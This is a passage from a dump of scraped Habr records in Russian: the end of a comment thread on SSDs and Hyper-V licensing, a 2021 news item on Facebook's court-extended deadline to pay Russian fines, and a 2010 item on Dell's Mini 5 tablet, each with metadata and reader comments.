Прочтите внимательнее сообщения вашего оппонента — он не говорил того, что вы ему приписываете.", "Спасибо, но спор уже потерял всякий смысл. Человек внезапно обнаруживает секторы там где их уже не может быть, что приводит к терминологической путанице и оставляет гадать, что же он имел ввиду.\nВ принципе, понятно, что там, где подветка началась, он хотел сказать что-то другое.", "Здоровья вам!\nМентального!", "> В особеннности интересует окупаемость лицензий.\nА разве использование Hyper-V требует платных лицензий?\nВсегда считал, что нет\nMicrosoft Hyper-V Server is a free product that delivers enterprise-class virtualization for your datacenter and hybrid cloud. Microsoft Hyper-V Server 2019 provides new and enhanced features that can help you deliver the scale and performance needs of your mission-critical workloads.\nThe Windows hypervisor technology in Microsoft Hyper-V Server 2019 is the same as what's in the Microsoft Hyper-V role on Windows Server 2019. It is a stand-alone product that contains only the Windows hypervisor, a Windows Server driver model, and virtualization components. It provides a simple and reliable virtualization solution to help you improve your server utilization and reduce costs.\nВзято с: Try Hyper-V Server 2019 on Microsoft Evaluation Center", "Дай дураку стеклянный уй, он им порежется.\nКто покупает qlc для задач на запись?", "Даже не сомневайтесь, находятся. А как массово пойдут дешёвые qlc — так повсеместно их и будут брать под любые задачи. По моему опыту DBA — многие в принципе не понимают, что SSD бывают разные. В их картине мира есть HDD и есть SSD. И всё. А при попытке выяснить, какие именно стоят SSD, потому что мне из виртуалки не посмотреть — полное непонимание вопроса в глазах, ну ssd же у нас куплены, в чём вопрос?", "ну справедливости ради, тех ≈10к iops, на которых, судя по картинке, затыкается этот intel, хватит для очень многих БД.\nскорее для БД опасны десктопные ssd, которые могут изрядно тормозить на fsync." ], "author": [ "Георгий Шуклин (amarao)", "Алексей (Alexsey)", "Антоненко Артем (creker)", "noname (Stravnik)", "Антоненко Артем (creker)", "Георгий Шуклин (amarao)", "Георгий Шуклин (amarao)", "werter_l", "DustCn (DustCn)", "Никита Цаплин (ntsaplin)", "Роман Веретельников (porutchik)", "Никита Цаплин (ntsaplin)", "Никита Цаплин (ntsaplin)", "Георгий Шуклин (amarao)", "Антоненко Артем (creker)", "Иван (V1RuS)", "Иван (V1RuS)", "spqr_voldi", "Никита Цаплин (ntsaplin)", "DarkNews", "Tangeman", "Роман Веретельников (porutchik)", "Георгий Шуклин (amarao)", "Арсен Боровинский (borovinskiy)", "PocketM", "AlexGluck", "Дмитрий Марков (13werwolf13)", "Арсен Боровинский (borovinskiy)", "Арсен Боровинский (borovinskiy)", "Андрей (SexTools)", "Андрей (SexTools)", "blaze79", "Владимир (ilmarin77)", "Владимир (ilmarin77)", "Nikita Dow (CherryPah)", "foi (foi)", "Pavel Kraynyukhov (thatsme)", "Антоненко Артем (creker)", "Tangeman", "edo1h", "Савельев Николай (nikweter)", "edo1h", "AlexGluck", "Арсен Боровинский (borovinskiy)", "edo1h", "Арсен Боровинский (borovinskiy)", "edo1h", "Арсен Боровинский (borovinskiy)", "edo1h", "Арсен Боровинский (borovinskiy)", "modsamara", "Арсен Боровинский (borovinskiy)", "Арсен Боровинский (borovinskiy)", "Арсен Боровинский (borovinskiy)", "Арсен Боровинский (borovinskiy)", "Арсен Боровинский (borovinskiy)", "Арсен Боровинский (borovinskiy)", "Владимир (ilmarin77)", "Владимир (ilmarin77)", "Nick S. Knutov (knutov)", "Tangeman", "Pavel Kraynyukhov (thatsme)", "Антоненко Артем (creker)", "Антоненко Артем (creker)", "Pavel Kraynyukhov (thatsme)", "Антоненко Артем (creker)", "Pavel Kraynyukhov (thatsme)", "Антоненко Артем (creker)", "Pavel Kraynyukhov (thatsme)", "Арсен Боровинский (borovinskiy)", "Pavel Kraynyukhov (thatsme)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "Антоненко Артем (creker)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "edo1h", "edo1h", "Арсен Боровинский (borovinskiy)", "edo1h", "edo1h", "edo1h", "Арсен Боровинский (borovinskiy)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "Pavel Kraynyukhov (thatsme)", "Дмитрий (khajiit)", "Pavel Kraynyukhov (thatsme)", "Майоров Павел (mayorovp)", "Дмитрий (khajiit)", "Pavel Kraynyukhov (thatsme)", "Петр (zuek)", "Tarakanator", "Melkij", "edo1h" ], "children": [ [ 23880203 ], [], [ 23880221, 23880951 ], [], [ 23880217 ], [ 23880409 ], [], [], [ 23880585 ], [ 23880735 ], [ 23880715 ], [ 23886295 ], [ 23880779, 23880815, 23881407, 23881625 ], [ 23881343, 23881987 ], [], [], [], [], [ 23881745 ], [ 23885293 ], [ 23882209, 23882463, 23885525 ], [], [], [ 23886283, 23887523 ], [ 23930671 ], [], [], [ 23882639 ], [], [], [], [], [ 23884745, 23889865 ], [ 23890041 ], [ 23885597 ], [], [ 23886129 ], [], [ 23886285, 23888561, 23889657, 23891049 ], [ 23886765 ], [ 23886345 ], [ 23888989 ], [], [ 23887277 ], [ 23889071 ], [ 23887915, 23900835 ], [ 23888171 ], [ 23888317 ], [ 23889131 ], [ 23890477 ], [], [], [ 23889265, 23901039, 23901067 ], [ 23900867 ], [], [ 23890173 ], [ 23890179 ], [], [ 23890275 ], [], [ 23891375, 23891895 ], [ 23891339 ], [ 23891759 ], [ 23891731, 23893689 ], [ 23891739 ], [ 23894745 ], [ 23891819 ], [ 23894741 ], [], [], [ 23895461 ], [ 23895207 ], [ 23897467 ], [], [ 23899323 ], [ 23906897 ], [ 23954955 ], [ 23900921 ], [ 23901053 ], [], [], [ 23901857 ], [], [ 23907499 ], [ 23910871 ], [ 23911217 ], [ 23911983 ], [ 23914899 ], [ 23916565 ], [ 23918025 ], [ 23920043 ], [ 23920363 ], [ 23924109 ], [ 23925169 ], [ 23925635 ], [ 23927863 ], [], [], [ 23955105 ], [ 23955193 ], [] ] }
580,814
ru
https://habr.com/ru/post/580814/
Суд РФ дал Facebook отсрочку для оплаты штрафов в 26 млн рублей, а РКН готовит протокол со штрафом до 1,2 млрд рублей
29 сентября московский суд удовлетворил просьбу Facebook и продлил компании срок для добровольной уплаты штрафов в 26 млн рублей до 4 октября 2021 года. 27 сентября Facebook сообщила Таганскому суду Москвы, что не успевает уплатить штрафы на 26 млн рублей за нарушение российского законодательства по техническим причинам. Компания попросила предоставить ей еще недельную отсрочку на закрытие административного долга. Юристы компании сообщили в тексте документа, что Facebook столкнулась с некоторыми проблемами по выполнению оплаты. У компании нет представительства в России и с переводом крупной суммы возникли сложности. Долг по всем текущим штрафам Facebook сейчас составляет 70 млн рублей. До 29 сентября она должна была оплатить 26 млн рублей штрафов, а до 19 октября — еще 17 млн рублей. В это же время Роскомнадзор сообщил, что готовит на Facebook новый протокол, причем уже на повторное нарушение за неудаление запрещенной информации. Административный штраф за это правонарушение составляет от 1/20 до 1/10 годового оборота интернет-компании. В 2020 году выручка соцсети в России была около 12 млрд рублей. Роскомнадзор уточнил, что вызвал к себе представителей Facebook на 4 октября для составления протокола о повторном нарушении российского законодательства. Даже если они не прибудут в ведомство, регулятор все равно направит этот документ в суд. Итоговый размер оборотного штрафа для Facebook будет определен на заседании суда. 16 сентября надзорное ведомство заявляло, что собирается наложить оборотные штрафы на Google, Facebook и Twitter.
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/webt/th/du/ux/thduuxodklnri79pobgh6r8smzi.jpeg" data-src="https://habrastorage.org/webt/th/du/ux/thduuxodklnri79pobgh6r8smzi.jpeg" data-blurred="true"/><br/> <br/> 29 сентября московский суд <a href="https://www.interfax.ru/russia/794374" rel="nofollow noopener noreferrer">удовлетворил</a> просьбу Facebook и <a href="https://t.me/moscowcourts/734" rel="nofollow noopener noreferrer">продлил</a> компании срок для добровольной уплаты штрафов в 26 млн рублей до 4 октября 2021 года. <br/> <a name="habracut"></a><br/> 27 сентября Facebook <a href="https://habr.com/ru/news/t/580544/">сообщила</a> Таганскому суду Москвы, что не успевает уплатить штрафы на 26 млн рублей за нарушение российского законодательства по техническим причинам. Компания попросила предоставить ей еще недельную отсрочку на закрытие административного долга. Юристы компании сообщили в тексте документа, что Facebook столкнулась с некоторыми проблемами по выполнению оплаты. У компании нет представительства в России и с переводом крупной суммы возникли сложности. <br/> <br/> Долг по всем текущим штрафам Facebook сейчас <a href="https://habr.com/ru/news/t/577840/">составляет</a> 70 млн рублей. До 29 сентября она должна была оплатить 26 млн рублей штрафов, а до 19 октября — еще 17 млн рублей.<br/> <br/> В это же время Роскомнадзор <a href="https://www.vedomosti.ru/media/articles/2021/09/29/889001-rossii-vpervie" rel="nofollow noopener noreferrer">сообщил</a>, что готовит на Facebook новый протокол, причем уже на повторное нарушение за неудаление запрещенной информации. Административный штраф за это правонарушение составляет от 1/20 до 1/10 годового оборота интернет-компании. В 2020 году выручка соцсети в России <a href="https://www.forbes.ru/tekhnologii/441541-roskomnadzor-mozet-ostrafovat-facebook-na-milliard-rublej" rel="nofollow noopener noreferrer">была</a> около 12 млрд рублей.<br/> <br/> Роскомнадзор <a href="https://www.interfax.ru/russia/794406" rel="nofollow noopener noreferrer">уточнил</a>, что вызвал к себе представителей Facebook на 4 октября для составления протокола о повторном нарушении российского законодательства. Даже если они не прибудут в ведомство, регулятор все равно направит этот документ в суд. Итоговый размер оборотного штрафа для Facebook будет определен на заседании суда.<br/> <br/> 16 сентября надзорное ведомство <a href="https://www.interfax.ru/russia/791720" rel="nofollow noopener noreferrer">заявляло</a>, что собирается наложить оборотные штрафы на Google, Facebook и Twitter.</div>
Денис (denis-19)
null
null
<img src="https://habrastorage.org/webt/th/du/ux/thduuxodklnri79pobgh6r8smzi.jpeg"><br> <br> 29 сентября московский суд <a href="https://www.interfax.ru/russia/794374" rel="nofollow noopener noreferrer">удовлетворил</a> просьбу Facebook и <a href="https://t.me/moscowcourts/734" rel="nofollow noopener noreferrer">продлил</a> компании срок для добровольной уплаты штрафов в 26 млн рублей до 4 октября 2021 года. <br>
29 сентября московский суд удовлетворил просьбу Facebook и продлил компании срок для добровольной уплаты штрафов в 26 млн рублей до 4 октября 2021 года.
news
1,632,979,902
{ "commentsCount": 3, "favoritesCount": 1, "readingCount": 1709, "score": 10, "votesCount": 12, "votesCountPlus": 11, "votesCountMinus": 1 }
[]
[ "business-laws", "social_networks", "itcompanies" ]
[ "management", "popsci" ]
[ "суд", "facebook", "ркн", "роскомнадзор", "штраф", "оборотный штраф" ]
1
null
null
{ "id": [ 23538064, 23538564, 23539316 ], "parent_id": [ null, null, null ], "level": [ 0, 0, 0 ], "time_published": [ 1632988105, 1632992255, 1633000755 ], "score": [ 0, 0, 2 ], "votes": [ 2, 0, 2 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Узаконенный шантаж - чем больше \"клиент\" платит тем больше от него требуют под угрозами.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Интересно как смогли наложить штраф, если у фейсбука нет представительства в России?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Самим размещать незаконный контент, а потом накладывать штрафы.По-моему, рабочий способ постоянного пополнения карманов, пока компания не уйдет с рынка.</p></div>" ], "message_markdown": [ "Узаконенный шантаж - чем больше \"клиент\" платит тем больше от него требуют под угрозами.", "Интересно как смогли наложить штраф, если у фейсбука нет представительства в России?", "Самим размещать незаконный контент, а потом накладывать штрафы.По-моему, рабочий способ постоянного пополнения карманов, пока компания не уйдет с рынка." ], "author": [ "Андрей (Andy_Big)", "Евгений Егоров (genew)", "CarbonBot" ], "children": [ [], [], [] ] }
80,638
ru
https://habr.com/ru/post/80638/
Интернет-планшет Dell Mini 5
Судя по этому устройству, которое Dell продемонстрировала на минувшей CES, компания готовится и дальше плотно осваивать сегмент микромпьютеров. Смартфон Dell Mini 3 уже был представлен, прошлой осенью, а на выставке в Лас-Вегасе показали гаджет следующей весовой категории – Dell Mini 5 (в девичестве Streak). Не то коммуникатор, не то интернет-планшет. О характеристиках пока толком ничего не известно. Сообщается, что в устройстве есть модули Wi-Fi и 3G, а также слот для SIM-карт. Дисплей, как понятно из названия, пятидюймовый сенсорный с поддержкой Multitouch. Есть две камеры: одна из которых пятимегапиксельная. Работает машинка под управлением Android 1.6. via pocket-lint.com
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/190/10b/065/19010b065de40d993b95e30488cb03e6.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/190/10b/065/19010b065de40d993b95e30488cb03e6.jpg" data-blurred="true"/><br/> <br/> Судя по этому устройству, которое Dell продемонстрировала на минувшей CES, компания готовится и дальше плотно осваивать сегмент микромпьютеров. Смартфон Dell Mini 3 уже <a href="http://www.pcworld.com/article/182132/dell_announces_mini_3_smartphone.html">был представлен</a>, прошлой осенью, а на выставке в Лас-Вегасе показали гаджет следующей весовой категории – Dell Mini 5 (в девичестве Streak). Не то коммуникатор, не то интернет-планшет. О характеристиках пока толком ничего не известно. Сообщается, что в устройстве есть модули Wi-Fi и 3G, а также слот для SIM-карт. Дисплей, как понятно из названия, пятидюймовый сенсорный с поддержкой Multitouch. Есть две камеры: одна из которых пятимегапиксельная. Работает машинка под управлением Android 1.6.<br/> <br/> <a name="habracut"></a><img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/1b5/7bc/bd7/1b57bcbd7973938292fa1c6e9d80aef9.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/1b5/7bc/bd7/1b57bcbd7973938292fa1c6e9d80aef9.jpg" data-blurred="true"/><br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/79c/ced/636/79cced63630400267c97dcf64db56742.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/79c/ced/636/79cced63630400267c97dcf64db56742.jpg" data-blurred="true"/><br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/245/862/d63/245862d63dc9b1f51f034dc9d19e4138.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/245/862/d63/245862d63dc9b1f51f034dc9d19e4138.jpg" data-blurred="true"/><br/> <br/> <img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/993/201/03f/99320103f73b2675bf9bf268bd718aa8.jpg" alt="image" data-src="https://habrastorage.org/getpro/geektimes/post_images/993/201/03f/99320103f73b2675bf9bf268bd718aa8.jpg" data-blurred="true"/><br/> <br/> via <a href="http://www.pocket-lint.com/news/30646/dell-internet-tablet-slate-announced">pocket-lint.com</a></div>
Mordatyj
null
null
<img src="https://habrastorage.org/getpro/geektimes/post_images/190/10b/065/19010b065de40d993b95e30488cb03e6.jpg" alt="image"/><br/> <br/> Судя по этому устройству, которое Dell продемонстрировала на минувшей CES, компания готовится и дальше плотно осваивать сегмент микромпьютеров. Смартфон Dell Mini 3 уже <a href="http://www.pcworld.com/article/182132/dell_announces_mini_3_smartphone.html">был представлен</a>, прошлой осенью, а на выставке в Лас-Вегасе показали гаджет следующей весовой категории – Dell Mini 5 (в девичестве Streak). Не то коммуникатор, не то интернет-планшет. О характеристиках пока толком ничего не известно. Сообщается, что в устройстве есть модули Wi-Fi и 3G, а также слот для SIM-карт. Дисплей, как понятно из названия, пятидюймовый сенсорный с поддержкой Multitouch. Есть две камеры: одна из которых пятимегапиксельная. Работает машинка под управлением Android 1.6.<br/> <br/>
Судя по этому устройству, которое Dell продемонстрировала на минувшей CES, компания готовится и дальше плотно осваивать сегмент микромпьютеров. Смартфон Dell Mini 3 уже был представлен, прошлой осенью, а на выставке в Лас-Вегасе показали гаджет следующей весовой категории – Dell Mini 5 (в девичестве Streak). Не то коммуникатор, не то интернет-планшет. О характеристиках пока толком ничего не известно. Сообщается, что в устройстве есть модули Wi-Fi и 3G, а также слот для SIM-карт. Дисплей, как понятно из названия, пятидюймовый сенсорный с поддержкой Multitouch. Есть две камеры: одна из которых пятимегапиксельная. Работает машинка под управлением Android 1.6.
article
1,263,367,520
{ "commentsCount": 80, "favoritesCount": 4, "readingCount": 1181, "score": 23, "votesCount": 37, "votesCountPlus": 30, "votesCountMinus": 7 }
[]
[ "notebooks" ]
[ "popsci" ]
[ "dell", "mid", "tablet pc" ]
1
null
null
{ "id": [ 13956521, 13956523, 13956525, 13956527, 13956529, 13956531, 13956533, 13956535, 13956537, 13956539, 13956541, 13956543, 13956545, 13956547, 13956549, 13956551, 13956553, 13956555, 13956557, 13956559, 13956561, 13956563, 13956565, 13956567, 13956569, 13956571, 13956573, 13956575, 13956577, 13956579, 13956581, 13956583, 13956585, 13956587, 13956589, 13956591, 13956593, 13956595, 13956597, 13956599, 13956601, 13956603, 13956605, 13956607, 13956609, 13956611, 13956613, 13956615, 13956617, 13956619, 13956621, 13956623, 13956625, 13956627, 13956629, 13956631, 13956633, 13956635, 13956637, 13956639, 13956641, 13956643, 13956645, 13956647, 13956649, 13956651, 13956653, 13956655, 13956657, 13956659, 13956661, 13956663, 13956665, 13956667, 13956669, 13956671, 13956673, 13956675, 13956677, 13956679 ], "parent_id": [ null, 13956521, 13956523, 13956525, 13956527, null, null, null, null, 13956535, null, null, 13956521, 13956543, null, null, 13956523, 13956547, 13956545, null, null, 13956549, null, 13956551, 13956525, 13956565, null, null, 13956525, 13956563, 13956573, 13956565, 13956565, null, 13956585, null, 13956557, 13956545, 13956579, 13956597, null, null, 13956569, 13956555, 13956607, 13956609, 13956525, 13956591, 13956611, null, 13956525, 13956525, 13956565, null, 13956589, 13956629, null, 13956631, 13956629, 13956625, 13956555, 13956639, 13956597, 13956645, 13956643, 13956649, 13956647, 13956653, 13956523, 13956545, 13956653, 13956525, 13956663, 13956665, 13956667, 13956669, 13956671, 13956673, 13956675, 13956605 ], "level": [ 0, 1, 2, 3, 4, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 2, 2, 2, 0, 0, 1, 0, 1, 3, 1, 0, 0, 3, 2, 1, 1, 1, 0, 2, 0, 3, 2, 3, 4, 0, 0, 4, 3, 4, 5, 3, 1, 6, 0, 3, 3, 1, 0, 3, 4, 0, 5, 4, 2, 3, 3, 4, 5, 4, 5, 6, 7, 2, 2, 7, 3, 4, 5, 6, 7, 8, 9, 10, 5 ], "time_published": [ 1263369902, 1263370674, 1263370732, 1263370947, 1263371187, 1263372588, 1263388065, 1263395084, 1263395440, 1263395540, 1263395990, 1263396122, 1263396452, 1263396745, 1263396766, 1263397026, 1263397338, 1263397338, 1263397569, 1263397924, 1263397957, 1263398129, 1263398425, 1263398796, 1263398817, 1263399056, 1263399849, 1263400882, 1263401229, 1263401352, 1263401490, 1263402116, 1263402338, 1263403649, 1263405303, 1263405498, 1263405560, 1263406222, 1263406462, 1263406996, 1263407146, 1263407290, 1263407634, 1263408285, 1263409221, 1263410506, 1263410635, 1263411106, 1263411139, 1263411773, 1263411956, 1263413466, 1263413483, 1263414697, 1263414896, 1263415040, 1263415040, 1263415482, 1263415621, 1263417561, 1263418272, 1263418556, 1263418646, 1263419274, 1263420461, 1263420871, 1263430089, 1263432944, 1263433558, 1263433635, 1263433825, 1263478349, 1263479591, 1263481856, 1263482146, 1263482748, 1263483340, 1263484172, 1263498984, 1263521479 ], "score": [ 22, -8, 15, 2, 2, 12, 2, -2, 0, 6, 0, 1, 0, 2, 0, 1, 0, -6, 1, 3, 0, -4, 0, 0, 5, 0, 0, 0, 0, 7, 0, 0, 2, 1, 1, 0, 0, 0, -6, 3, 0, 0, 1, 0, -1, -1, 0, 1, -1, 2, 0, 0, 2, 1, 0, 0, 0, 0, 0, 0, -1, 1, 0, -1, 0, 0, -2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 22, 32, 15, 6, 2, 14, 2, 22, 0, 12, 0, 3, 0, 2, 0, 1, 8, 8, 1, 3, 0, 10, 2, 0, 5, 0, 0, 0, 0, 15, 0, 0, 2, 1, 1, 0, 0, 0, 10, 7, 0, 0, 1, 2, 1, 1, 0, 1, 1, 2, 0, 0, 2, 1, 0, 0, 0, 0, 0, 0, 1, 1, 2, 3, 0, 0, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Люблю dell, но цвет пугает…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Люблю веб-таблетки и андроид, но Dell пугает…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Dell всегда делал очень продуманные и надежные девайсы, сужу по x51v которым пользуюсь по сей день…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Возможно. Я с этой стороны с деллом не сталкивался, знаю его как производителя десктопных нетаблеток, потому и с осторожностью отношусь к более мелким девайсам его производства.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я вот уже задумался над приобретением именно из-за надежного бренда ) </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">С возвращением, КПК! Ура =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Отличная вещица.<br/>\r\nЕсли выйдет в тираж в черном матовом варианте — беру (=</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я так ждал что они что нибудь на Windows Mobile выпустят…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Класс!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я смотрю любители андроида подтянулись %)))))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">когда уже в продаже будет. все концепты да концепты, а купить и нечего. приходится для интернетов юзать гигантский 701G</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">С лицевой стороны очень напоминает Blackberry.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если уж что он и напоминает, то Nokia N800/810</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">HTC HD2 по экрану обошли) И по ОС. Думаю проц там 1ггц. Аппарат нравится но не в любой карман влезет…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хочу что-то подобное, с большим экраном (5-6 дюймов, с хорошим разрешением) и удобной клавиатурой, чтобы полностью заменял лэптоп.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">люблю делл, но андроид пугает…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/f8e/7ac/ab8/f8e7acab8136fac967beb3ee1d9819f6.jpg\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/f8e/7ac/ab8/f8e7acab8136fac967beb3ee1d9819f6.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне кажется цвет будет другим. Или их будет несколько</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Господа, что же это делается? Он же розовый оО<br/>\r\nЯ понимаю там раскладушка от какого-нибудь Самсунг. Но это же интернет-планшет от делл оО<br/>\r\nРозовый интернет-планшет от делл Оо</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">новинка будет доступна в розовом и черном исполнении, в добавление красная версия была показана журналистам на CES.<br/>\r\n<a href=\"http://www.electronista.com/articles/10/01/08/features.2.cameras.and.offered.in.range.of.colors/\">www.electronista.com/articles/10/01/08/features.2.cameras.and.offered.in.range.of.colors/</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как будто в WM есть что-то плохое, или это сейчас так модно?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А мне вот <a href=\"http://www.engadget.com/2010/01/13/viliv-n5-mid-hands-on-hd5-pmp-makes-a-cameo/\">эта штука</a> понравилась.<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/e42/a42/983/e42a4298342d1f1d3cb4462d87ee7eec.jpg\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/e42/a42/983/e42a4298342d1f1d3cb4462d87ee7eec.jpg\" data-blurred=\"true\"/><br/>\r\nПо ссылке виде есть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Samsung Q1 Ultra?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">открою вам уже давно не тайну:<br/>\r\n<br/>\r\ndell axim x51v, так же как и hp 4700 и Fujitsu Siemens LOOX 720 (лучшие кпк своего времени), на самом деле производства HTC<br/>\r\n<br/>\r\n<a href=\"http://www.business-magazine.ru/mech_new/experience/pub323773\">пруфлинк</a><br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Dell, has confirmed that the device will come with a built-in SIM card option</blockquote><br/>\r\nТак по нему еще и звонить можно будет, дайте два (но черных)!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Из-за размера не очень понятно сколько весить будет, да и не ясно в какой карман влезет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">WM — наврено худшая мобильная ось из всех что существуют на текущий момент; </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ох уж эта любовь кнопки переставлять…<br/>\r\nДля кирилицы трех кнопок не хватит, судя по всему:(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А мне вот <a href=\"http://www.engadget.com/2009/01/10/vaio-p-in-depth-impressions/\">это</a>. Только они очень много денег хотят…<br/>\r\n<img src=\"https://habrastorage.org/r/w780q1/getpro/geektimes/comment_images/e02/99b/25d/e0299b25d01d3df0c916b201a7755882.jpg\" data-src=\"https://habrastorage.org/getpro/geektimes/comment_images/e02/99b/25d/e0299b25d01d3df0c916b201a7755882.jpg\" data-blurred=\"true\"/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Немного доп.информации по устройству:<br/>\r\nРазрешение экрана всё те же 800х480, как и у Droid/Nexus One.<br/>\r\nВот и мини видеообзор подоспел <br/>\r\n<a href=\"http://www.youtube.com/watch?v=wIV3i-E2PqQ\">www.youtube.com/watch?v=wIV3i-E2PqQ</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уже подешевели, VGN-P11Z/G стоит 450 евро. Я чуть было не купил на прошлой неделе, но потом почитал про неё: там виста на 1,3 Ггц атоме — это очень медленно. На следующий день потыкал в магазине — всё тормозит. Загрузился во встроенный линукс — всё тормозит даже в главном меню. Фотки открываются по минуте. А вот видео, на удивление, не тормозило совсем.<br/>\r\nВ интернетах есть пара описаний, как поставить туда ХР, но официальных драйверов и софта под ХР нет, приходится всё обрабатывать напильником, и нет гарантии, что заработают управляющие кнопки и WLAN/WWAN :( А без WWAN такая игрушка мне не нужна — я хотел именно субноут, который всегда с собой и всегда в сети.<br/>\r\nЕщё там разрешение слишком высокое, 1600 пикселей в ширину на 8\" экране — это перебор. <br/>\r\n<br/>\r\nЭту штуку бы, да с ХР или лёгковесным Linux, разрешение экрана чуть пониже, да за такую же цену — взял бы сразу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">девайсы Dell — страшненькие, но надёжные</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У Делла обычно широкая палитра цветов. Возьмите любой лэптоп <a href=\"http://www1.ca.dell.com/ca/en/home/Laptops/ct.aspx?refid=notebooks&amp;s=dhs&amp;cs=cadhs1&amp;~ck=mn\">отсюда</a> и попробуйте покастомайзить — почти всегда можно выбрать цвет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я, вспоминая блоги девчушек из лайвинтернета, прихожу к выводу, что у них альтернативное восприятие цветовой гаммы :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И что же там такого ужасного? Если будете отвечать то не сравнивайте WM с телефонами и прочими под них косящими (android, iphone).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я в самом начале сказал: Худшая. <br/>\r\nТ.е из всех что существуют. <br/>\r\nТ.е в сравнении с теми что сейчас существуют — WM худшая. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Эт точно. В свой древний (относительно) 1501 добил памяти до 2 гигов и винт ssd — офисно-мультимедийный функции работают… Что еще надо то?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пять это как я понимаю диагональ экрана?<br/>\r\nИнтересная штука.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А еще некоторые делловские ноутбуки делает самсунг, в этом нет никакой проблемы, поскольку делл гарантирует поддержку, вероятно обеспечивает дополнительный контроль качества, а может быть даже делловский R&amp;D участвует. Возможно даже использует некоторые патенты, которые самсунг или тот же HTC использовать не могут.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«Найдите 5224 различия?»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я же не сказал, что одно и то же. Я сказал, что <strong>похоже</strong>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не знаю, я так не думаю.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">солидарен! очень качественные девайсы даже на вид!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а мне очень нравится дизайн и столь Dell'ов. Они такие строгие и ненавязчивые… Я поклонник</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как хотите, так и думайте, кто вам запрещает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пожалуй, кроме дизайна Dell нравится только дизайн Lenovo. Строгий и в то же время стильный. Ну а предустановленная ОС от google только подогревает интерес к данному девайсу. 